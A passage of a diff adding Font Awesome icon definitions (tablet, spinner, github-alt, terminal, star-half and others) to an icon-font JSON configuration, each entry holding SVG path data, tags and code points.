"isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "tablet" + ], + "defaultCode": 61706, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "tablet", + "id": 239, + "order": 1095, + "prevSize": 28, + "code": 61706 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 239 + }, + { + "icon": { + "paths": [ + "M265.143 804.571c0-25.143-20.571-45.714-45.714-45.714s-45.714 20.571-45.714 45.714 20.571 45.714 45.714 45.714 45.714-20.571 45.714-45.714zM384 713.143v-402.286c0-9.714-8.571-18.286-18.286-18.286h-292.571c-9.714 0-18.286 8.571-18.286 18.286v402.286c0 9.714 8.571 18.286 18.286 18.286h292.571c9.714 0 18.286-8.571 18.286-18.286zM274.286 228.571c0-5.143-4-9.143-9.143-9.143h-91.429c-5.143 0-9.143 4-9.143 9.143s4 9.143 9.143 9.143h91.429c5.143 0 9.143-4 9.143-9.143zM438.857 219.429v585.143c0 40-33.143 73.143-73.143 73.143h-292.571c-40 0-73.143-33.143-73.143-73.143v-585.143c0-40 33.143-73.143 73.143-73.143h292.571c40 0 73.143 33.143 73.143 73.143z" + ], + "width": 438.85714285714283, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mobile", + "mobile-phone" + ], + "defaultCode": 61707, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mobile, mobile-phone", + "id": 240, + "order": 1096, + "prevSize": 28, + "code": 61707 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 240 + }, + { + "icon": { + "paths": [ + "M438.857 201.143c-171.429 0-310.857 139.429-310.857 310.857s139.429 310.857 310.857 310.857 310.857-139.429 310.857-310.857-139.429-310.857-310.857-310.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857v0c242.286 0 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "circle-o" + ], + "defaultCode": 61708, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "circle-o", + "id": 241, + "order": 1097, + "prevSize": 28, + "code": 61708 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 241 + }, + { + "icon": { + "paths": [ + "M438.857 548.571v219.429c0 60.571-49.143 109.714-109.714 109.714h-219.429c-60.571 0-109.714-49.143-109.714-109.714v-402.286c0-161.143 131.429-292.571 292.571-292.571h36.571c20 0 36.571 16.571 36.571 36.571v73.143c0 20-16.571 36.571-36.571 36.571h-36.571c-80.571 0-146.286 65.714-146.286 146.286v18.286c0 30.286 24.571 54.857 54.857 54.857h128c60.571 0 109.714 49.143 109.714 109.714zM950.857 548.571v219.429c0 60.571-49.143 109.714-109.714 109.714h-219.429c-60.571 0-109.714-49.143-109.714-109.714v-402.286c0-161.143 131.429-292.571 292.571-292.571h36.571c20 0 36.571 16.571 36.571 36.571v73.143c0 20-16.571 36.571-36.571 36.571h-36.571c-80.571 0-146.286 65.714-146.286 146.286v18.286c0 30.286 24.571 54.857 54.857 54.857h128c60.571 0 109.714 49.143 109.714 109.714z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "quote-left" + ], + "defaultCode": 61709, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "quote-left", + "id": 242, + "order": 1098, + "prevSize": 28, + "code": 61709 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 242 + }, + { + "icon": { + "paths": [ + "M438.857 182.857v402.286c0 161.143-131.429 292.571-292.571 292.571h-36.571c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h36.571c80.571 0 146.286-65.714 146.286-146.286v-18.286c0-30.286-24.571-54.857-54.857-54.857h-128c-60.571 0-109.714-49.143-109.714-109.714v-219.429c0-60.571 49.143-109.714 109.714-109.714h219.429c60.571 0 109.714 49.143 109.714 109.714zM950.857 182.857v402.286c0 161.143-131.429 292.571-292.571 292.571h-36.571c-20 0-36.571-16.571-36.571-36.571v-73.143c0-20 16.571-36.571 36.571-36.571h36.571c80.571 0 146.286-65.714 146.286-146.286v-18.286c0-30.286-24.571-54.857-54.857-54.857h-128c-60.571 0-109.714-49.143-109.714-109.714v-219.429c0-60.571 49.143-109.714 109.714-109.714h219.429c60.571 0 109.714 49.143 109.714 109.714z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "quote-right" + ], + "defaultCode": 61710, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "quote-right", + "id": 243, + "order": 1099, + "prevSize": 28, + "code": 61710 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 243 + }, + { + "icon": { + "paths": [ + "M300.571 796.571c0 40-32.571 73.143-73.143 73.143-40 0-73.143-33.143-73.143-73.143 0-40.571 33.143-73.143 73.143-73.143 40.571 0 73.143 32.571 73.143 73.143zM585.143 914.286c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM182.857 512c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM869.714 796.571c0 40-33.143 73.143-73.143 73.143-40.571 0-73.143-33.143-73.143-73.143 0-40.571 32.571-73.143 73.143-73.143 40 0 73.143 32.571 73.143 73.143zM318.857 227.429c0 50.286-41.143 91.429-91.429 91.429s-91.429-41.143-91.429-91.429 41.143-91.429 91.429-91.429 91.429 41.143 91.429 91.429zM987.429 512c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM621.714 109.714c0 60.571-49.143 109.714-109.714 109.714s-109.714-49.143-109.714-109.714 49.143-109.714 109.714-109.714 109.714 49.143 109.714 109.714zM924.571 227.429c0 70.857-57.714 128-128 128-70.857 0-128-57.143-128-128 0-70.286 57.143-128 128-128 70.286 0 128 57.714 128 128z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "spinner" + ], + "defaultCode": 61712, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "spinner", + "id": 244, + "order": 1100, + "prevSize": 28, + "code": 61712 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 244 + }, + { + "icon": { + "paths": [ + "M877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "circle" + ], + "defaultCode": 61713, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "circle", + "id": 245, + "order": 1101, + "prevSize": 28, + "code": 61713 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 245 + }, + { + "icon": { + "paths": [ + "M1024 640c0 80-40 184.571-72.571 257.714-6.286 13.143-12.571 31.429-21.143 43.429-4 5.714-8 9.714-16 9.714-11.429 0-18.286-9.143-18.286-20 0-9.143 2.286-19.429 2.857-28.571 1.714-23.429 2.857-46.857 2.857-70.286 0-272.571-161.714-320-408-320h-128v146.286c0 20-16.571 36.571-36.571 36.571-9.714 0-18.857-4-25.714-10.857l-292.571-292.571c-6.857-6.857-10.857-16-10.857-25.714s4-18.857 10.857-25.714l292.571-292.571c6.857-6.857 16-10.857 25.714-10.857 20 0 36.571 16.571 36.571 36.571v146.286h128c187.429 0 420.571 33.143 500 230.286 24 60.571 30.286 126.286 30.286 190.286z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mail-reply", + "reply" + ], + "defaultCode": 61714, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mail-reply, reply", + "id": 246, + "order": 1102, + "prevSize": 28, + "code": 61714 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 246 + }, + { + "icon": { + "paths": [ + "M365.714 694.857c0 41.714-21.714 109.714-73.143 109.714s-73.143-68-73.143-109.714 21.714-109.714 73.143-109.714 73.143 68 73.143 109.714zM731.429 694.857c0 41.714-21.714 109.714-73.143 109.714s-73.143-68-73.143-109.714 21.714-109.714 73.143-109.714 73.143 68 73.143 109.714zM822.857 694.857c0-87.429-53.143-164.571-146.286-164.571-37.714 0-73.714 6.857-111.429 12-29.714 4.571-59.429 6.286-89.714 6.286s-60-1.714-89.714-6.286c-37.143-5.143-73.714-12-111.429-12-93.143 0-146.286 77.143-146.286 164.571 0 174.857 160 201.714 299.429 201.714h96c139.429 0 299.429-26.857 299.429-201.714zM950.857 594.286c0 63.429-6.286 130.857-34.857 189.143-75.429 152.571-282.857 167.429-431.429 167.429-150.857 0-370.857-13.143-449.143-167.429-29.143-57.714-35.429-125.714-35.429-189.143 0-83.429 22.857-162.286 77.714-226.286-10.286-31.429-15.429-64.571-15.429-97.143 0-42.857 9.714-85.714 29.143-124.571 90.286 0 148 39.429 216.571 93.143 57.714-13.714 117.143-20 176.571-20 53.714 0 108 5.714 160 18.286 68-53.143 125.714-91.429 214.857-91.429 19.429 38.857 29.143 81.714 29.143 124.571 0 32.571-5.143 65.143-15.429 96 54.857 64.571 77.714 144 77.714 227.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "github-alt" + ], + "defaultCode": 61715, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "github-alt", + "id": 247, + "order": 1103, + "prevSize": 28, + "code": 61715 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 247 + }, + { + "icon": { + "paths": [ + "M877.714 749.714v-402.286c0-30.286-24.571-54.857-54.857-54.857h-402.286c-30.286 0-54.857-24.571-54.857-54.857v-36.571c0-30.286-24.571-54.857-54.857-54.857h-182.857c-30.286 0-54.857 24.571-54.857 54.857v548.571c0 30.286 24.571 54.857 54.857 54.857h694.857c30.286 0 54.857-24.571 54.857-54.857zM950.857 347.429v402.286c0 70.286-57.714 128-128 128h-694.857c-70.286 0-128-57.714-128-128v-548.571c0-70.286 57.714-128 128-128h182.857c70.286 0 128 57.714 128 128v18.286h384c70.286 0 128 57.714 128 128z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "folder-o" + ], + "defaultCode": 61716, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "folder-o", + "id": 248, + "order": 1104, + "prevSize": 28, + "code": 61716 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 248 + }, + { + "icon": { + "paths": [ + "M1017.714 532c0-16-17.714-20-30.286-20h-621.714c-30.286 0-70.286 18.857-89.714 42.286l-168 207.429c-5.143 6.857-10.286 14.286-10.286 22.857 0 16 17.714 20 30.286 20h621.714c30.286 0 70.286-18.857 89.714-42.857l168-207.429c5.143-6.286 10.286-13.714 10.286-22.286zM365.714 438.857h438.857v-91.429c0-30.286-24.571-54.857-54.857-54.857h-329.143c-30.286 0-54.857-24.571-54.857-54.857v-36.571c0-30.286-24.571-54.857-54.857-54.857h-182.857c-30.286 0-54.857 24.571-54.857 54.857v487.429l146.286-180c33.143-40.571 94.286-69.714 146.286-69.714zM1090.857 532c0 25.143-10.857 49.143-26.286 68.571l-168.571 207.429c-32.571 40-94.857 69.714-146.286 69.714h-621.714c-70.286 0-128-57.714-128-128v-548.571c0-70.286 57.714-128 128-128h182.857c70.286 0 128 57.714 128 128v18.286h310.857c70.286 0 128 57.714 128 128v91.429h109.714c38.857 0 77.714 17.714 94.857 54.286 5.714 12 8.571 25.143 8.571 38.857z" + ], + "width": 1090.8525714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "folder-open-o" + ], + "defaultCode": 61717, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "folder-open-o", + "id": 249, + "order": 1105, + "prevSize": 28, + "code": 61717 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 249 + }, + { + "icon": { + "paths": [ + "M648 614.286c-28.571 92-112.571 153.714-209.143 153.714s-180.571-61.714-209.143-153.714c-6.286-19.429 4.571-39.429 24-45.714 18.857-6.286 39.429 4.571 45.714 24 18.857 61.143 75.429 102.286 139.429 102.286s120.571-41.143 139.429-102.286c6.286-19.429 26.857-30.286 46.286-24 18.857 6.286 29.714 26.286 23.429 45.714zM365.714 365.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM658.286 365.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM804.571 512c0-201.714-164-365.714-365.714-365.714s-365.714 164-365.714 365.714 164 365.714 365.714 365.714 365.714-164 365.714-365.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "smile-o" + ], + "defaultCode": 61720, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "smile-o", + "id": 250, + "order": 1106, + "prevSize": 28, + "code": 61720 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 250 + }, + { + "icon": { + "paths": [ + "M648 702.286c6.286 19.429-4.571 39.429-23.429 45.714-19.429 6.286-40-4.571-46.286-24-18.857-61.143-75.429-102.286-139.429-102.286s-120.571 41.143-139.429 102.286c-6.286 19.429-26.857 30.286-45.714 24-19.429-6.286-30.286-26.286-24-45.714 28.571-92 112.571-153.714 209.143-153.714s180.571 61.714 209.143 153.714zM365.714 365.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM658.286 365.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM804.571 512c0-201.714-164-365.714-365.714-365.714s-365.714 164-365.714 365.714 164 365.714 365.714 365.714 365.714-164 365.714-365.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "frown-o" + ], + "defaultCode": 61721, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "frown-o", + "id": 251, + "order": 1107, + "prevSize": 28, + "code": 61721 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 251 + }, + { + "icon": { + "paths": [ + "M658.286 621.714c0 20-16.571 36.571-36.571 36.571h-365.714c-20 0-36.571-16.571-36.571-36.571s16.571-36.571 36.571-36.571h365.714c20 0 36.571 16.571 36.571 36.571zM365.714 365.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM658.286 365.714c0 40.571-32.571 73.143-73.143 73.143s-73.143-32.571-73.143-73.143 32.571-73.143 73.143-73.143 73.143 32.571 73.143 73.143zM804.571 512c0-201.714-164-365.714-365.714-365.714s-365.714 164-365.714 365.714 164 365.714 365.714 365.714 365.714-164 365.714-365.714zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "meh-o" + ], + "defaultCode": 61722, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "meh-o", + "id": 252, + "order": 1108, + "prevSize": 28, + "code": 61722 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 252 + }, + { + "icon": { + "paths": [ + "M475.429 621.714v-73.143c0-10.286-8-18.286-18.286-18.286h-109.714v-109.714c0-10.286-8-18.286-18.286-18.286h-73.143c-10.286 0-18.286 8-18.286 18.286v109.714h-109.714c-10.286 0-18.286 8-18.286 18.286v73.143c0 10.286 8 18.286 18.286 18.286h109.714v109.714c0 10.286 8 18.286 18.286 18.286h73.143c10.286 0 18.286-8 18.286-18.286v-109.714h109.714c10.286 0 18.286-8 18.286-18.286zM804.571 658.286c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM950.857 512c0-40.571-32.571-73.143-73.143-73.143s-73.143 32.571-73.143 73.143 32.571 73.143 73.143 73.143 73.143-32.571 73.143-73.143zM1097.143 585.143c0 161.714-130.857 292.571-292.571 292.571-74.286 0-141.714-28-193.143-73.143h-125.714c-51.429 45.143-118.857 73.143-193.143 73.143-161.714 0-292.571-130.857-292.571-292.571s130.857-292.571 292.571-292.571h512c161.714 0 292.571 130.857 292.571 292.571z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "gamepad" + ], + "defaultCode": 61723, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "gamepad", + "id": 253, + "order": 1109, + "prevSize": 28, + "code": 61723 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 253 + }, + { + "icon": { + "paths": [ + "M219.429 667.429v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM292.571 521.143v54.857c0 5.143-4 9.143-9.143 9.143h-128c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h128c5.143 0 9.143 4 9.143 9.143zM219.429 374.857v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM804.571 667.429v54.857c0 5.143-4 9.143-9.143 9.143h-493.714c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h493.714c5.143 0 9.143 4 9.143 9.143zM438.857 521.143v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM365.714 374.857v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM585.143 521.143v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM512 374.857v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM731.429 521.143v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM950.857 667.429v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM658.286 374.857v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM804.571 374.857v54.857c0 5.143-4 9.143-9.143 9.143h-54.857c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM950.857 374.857v201.143c0 5.143-4 9.143-9.143 9.143h-128c-5.143 0-9.143-4-9.143-9.143v-54.857c0-5.143 4-9.143 9.143-9.143h64v-137.143c0-5.143 4-9.143 9.143-9.143h54.857c5.143 0 9.143 4 9.143 9.143zM1024 804.571v-512h-950.857v512h950.857zM1097.143 292.571v512c0 40.571-32.571 73.143-73.143 73.143h-950.857c-40.571 0-73.143-32.571-73.143-73.143v-512c0-40.571 32.571-73.143 73.143-73.143h950.857c40.571 0 73.143 32.571 73.143 73.143z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "keyboard-o" + ], + "defaultCode": 61724, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "keyboard-o", + "id": 254, + "order": 1110, + "prevSize": 28, + "code": 61724 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 254 + }, + { + "icon": { + "paths": [ + "M950.857 597.143v-352c-45.714 24.571-109.714 52-174.857 52v0c-30.286 0-58.286-5.714-82.857-18.286-61.143-30.286-127.429-59.429-206.857-59.429-73.714 0-164 36-230.286 72.571v342.286c75.429-34.857 171.429-64.571 247.429-64.571 88 0 145.143 29.143 206.286 59.429l16 8c16 8 35.429 12.571 57.714 12.571 63.429 0 132-33.714 167.429-52.571zM182.857 146.286c0 26.857-14.857 50.286-36.571 62.857v723.429c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-723.429c-21.714-12.571-36.571-36-36.571-62.857 0-40.571 32.571-73.143 73.143-73.143s73.143 32.571 73.143 73.143zM1024 182.857v436c0 13.714-8 26.286-20 32.571-2.286 1.143-5.714 2.857-9.714 5.143-36.571 19.429-122.857 66.286-210.857 66.286-33.714 0-64-6.857-90.286-20l-16-8c-57.714-29.143-103.429-52-173.714-52-82.286 0-198.286 42.857-265.143 83.429-5.714 3.429-12.571 5.143-18.857 5.143s-12.571-1.714-18.286-4.571c-11.429-6.857-18.286-18.857-18.286-32v-424c0-12.571 6.857-24.571 17.714-31.429 36.571-21.714 165.714-93.143 285.714-93.143 95.429 0 173.143 34.857 238.857 66.857 14.857 7.429 32 10.857 50.857 10.857 67.429 0 141.714-42.857 177.143-64 7.429-4 13.714-7.429 17.714-9.714 11.429-5.714 24.571-5.143 35.429 1.143 10.857 6.857 17.714 18.857 17.714 31.429z" + ], + "width": 1060.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flag-o" + ], + "defaultCode": 61725, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "flag-o", + "id": 255, + "order": 1111, + "prevSize": 28, + "code": 61725 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 255 + }, + { + "icon": { + "paths": [ + "M475.429 571.429v-109.714c-69.714 6.286-153.714 34.286-219.429 66.857v105.714c66.286-30.857 148.571-57.143 219.429-62.857zM475.429 332.571v-112.571c-72 3.429-156.571 37.143-219.429 72v108c67.429-34.857 148.571-64.571 219.429-67.429zM950.857 597.143v-105.143c-52 25.714-142.857 64-219.429 40.571v-128c-7.429-2.286-14.857-5.143-22.286-8.571-65.714-33.143-119.429-64-205.714-64-9.143 0-18.286 0.571-28 1.714v126.857h10.857c86.286 0 157.143 30.857 222.857 63.429 7.429 3.429 14.857 6.286 22.286 8.571v107.429c15.429 6.286 32.571 9.714 52 9.714 63.429 0 132-33.714 167.429-52.571zM950.857 353.143v-108c-45.714 24.571-109.714 52-174.857 52v0c-15.429 0-30.286-1.143-44.571-4.571v112c76.571 21.714 167.429-22.286 219.429-51.429zM182.857 146.286c0 26.857-14.857 50.286-36.571 62.857v723.429c0 10.286-8 18.286-18.286 18.286h-36.571c-10.286 0-18.286-8-18.286-18.286v-723.429c-21.714-12.571-36.571-36-36.571-62.857 0-40.571 32.571-73.143 73.143-73.143s73.143 32.571 73.143 73.143zM1024 182.857v436c0 13.714-8 26.286-20 32.571-2.286 1.143-5.714 2.857-9.714 5.143-36.571 19.429-122.857 66.286-210.857 66.286-33.714 0-64-6.857-90.286-20l-16-8c-57.714-29.143-103.429-52-173.714-52-82.286 0-198.286 42.857-265.143 83.429-5.714 3.429-12.571 5.143-18.857 5.143s-12.571-1.714-18.286-4.571c-11.429-6.857-18.286-18.857-18.286-32v-424c0-12.571 6.857-24.571 17.714-31.429 36.571-21.714 165.714-93.143 285.714-93.143 95.429 0 173.143 34.857 238.857 66.857 14.857 7.429 32 10.857 50.857 10.857 67.429 0 141.714-42.857 177.143-64 7.429-4 13.714-7.429 17.714-9.714 11.429-5.714 24.571-5.143 35.429 1.143 10.857 6.857 17.714 18.857 17.714 31.429z" + ], + "width": 1060.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flag-checkered" + ], + "defaultCode": 61726, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "flag-checkered", + "id": 256, + "order": 1112, + "prevSize": 28, + "code": 61726 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 256 + }, + { + "icon": { + "paths": [ + "M334.286 561.714l-266.286 266.286c-7.429 7.429-18.857 7.429-26.286 0l-28.571-28.571c-7.429-7.429-7.429-18.857 0-26.286l224.571-224.571-224.571-224.571c-7.429-7.429-7.429-18.857 0-26.286l28.571-28.571c7.429-7.429 18.857-7.429 26.286 0l266.286 266.286c7.429 7.429 7.429 18.857 0 26.286zM950.857 822.857v36.571c0 10.286-8 18.286-18.286 18.286h-548.571c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h548.571c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 956.5622857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "terminal" + ], + "defaultCode": 61728, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "terminal", + "id": 257, + "order": 1113, + "prevSize": 28, + "code": 61728 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 257 + }, + { + "icon": { + "paths": [ + "M352.571 799.429l-28.571 28.571c-7.429 7.429-18.857 7.429-26.286 0l-266.286-266.286c-7.429-7.429-7.429-18.857 0-26.286l266.286-266.286c7.429-7.429 18.857-7.429 26.286 0l28.571 28.571c7.429 7.429 7.429 18.857 0 26.286l-224.571 224.571 224.571 224.571c7.429 7.429 7.429 18.857 0 26.286zM690.286 189.714l-213.143 737.714c-2.857 9.714-13.143 15.429-22.286 12.571l-35.429-9.714c-9.714-2.857-15.429-13.143-12.571-22.857l213.143-737.714c2.857-9.714 13.143-15.429 22.286-12.571l35.429 9.714c9.714 2.857 15.429 13.143 12.571 22.857zM1065.714 561.714l-266.286 266.286c-7.429 7.429-18.857 7.429-26.286 0l-28.571-28.571c-7.429-7.429-7.429-18.857 0-26.286l224.571-224.571-224.571-224.571c-7.429-7.429-7.429-18.857 0-26.286l28.571-28.571c7.429-7.429 18.857-7.429 26.286 0l266.286 266.286c7.429 7.429 7.429 18.857 0 26.286z" + ], + "width": 1097.142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "code" + ], + "defaultCode": 61729, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "code", + "id": 258, + "order": 1114, + "prevSize": 28, + "code": 61729 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 258 + }, + { + "icon": { + "paths": [ + "M365.714 618.286v40c0 14.857-9.143 28-22.286 33.714-4.571 1.714-9.714 2.857-14.286 2.857-9.714 0-18.857-3.429-25.714-10.857l-292.571-292.571c-14.286-14.286-14.286-37.143 0-51.429l292.571-292.571c10.286-10.857 26.286-13.714 40-8 13.143 5.714 22.286 18.857 22.286 33.714v39.429l-226.857 227.429c-14.286 14.286-14.286 37.143 0 51.429zM1024 640c0 118.857-89.714 293.714-93.714 301.143-2.857 6.286-9.143 9.714-16 9.714-1.714 0-3.429 0-5.143-0.571-8.571-2.857-13.714-10.857-13.143-19.429 16.571-156-2.857-258.857-60.571-322.857-48.571-54.286-127.429-83.429-250.286-93.143v143.429c0 14.857-9.143 28-22.286 33.714-4.571 1.714-9.714 2.857-14.286 2.857-9.714 0-18.857-3.429-25.714-10.857l-292.571-292.571c-14.286-14.286-14.286-37.143 0-51.429l292.571-292.571c10.286-10.857 26.286-13.714 40-8 13.143 5.714 22.286 18.857 22.286 33.714v149.714c157.714 10.857 270.286 52.571 342.286 126.286 86.286 88.571 96.571 208.571 96.571 290.857z" + ], + "width": 1020.5622857142856, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mail-reply-all", + "reply-all" + ], + "defaultCode": 61730, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "mail-reply-all, reply-all", + "id": 259, + "order": 1115, + "prevSize": 28, + "code": 61730 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 259 + }, + { + "icon": { + "paths": [ + "M677.714 546.857l146.857-142.857-241.143-35.429-17.143-34.286-90.857-184v550.286l33.714 17.714 181.714 96-34.286-202.857-6.857-37.714zM936 397.143l-207.429 202.286 49.143 285.714c4 25.143-5.143 40-22.857 40-6.286 0-14.286-2.286-22.857-6.857l-256.571-134.857-256.571 134.857c-8.571 4.571-16.571 6.857-22.857 6.857-17.714 0-26.857-14.857-22.857-40l49.143-285.714-208-202.286c-24.571-24.571-16.571-48.571 17.714-53.714l286.857-41.714 128.571-260c7.429-15.429 17.714-23.429 28-23.429v0c10.286 0 20 8 28 23.429l128.571 260 286.857 41.714c34.286 5.143 42.286 29.143 17.143 53.714z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "star-half-empty", + "star-half-full", + "star-half-o" + ], + "defaultCode": 61731, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "star-half-empty, 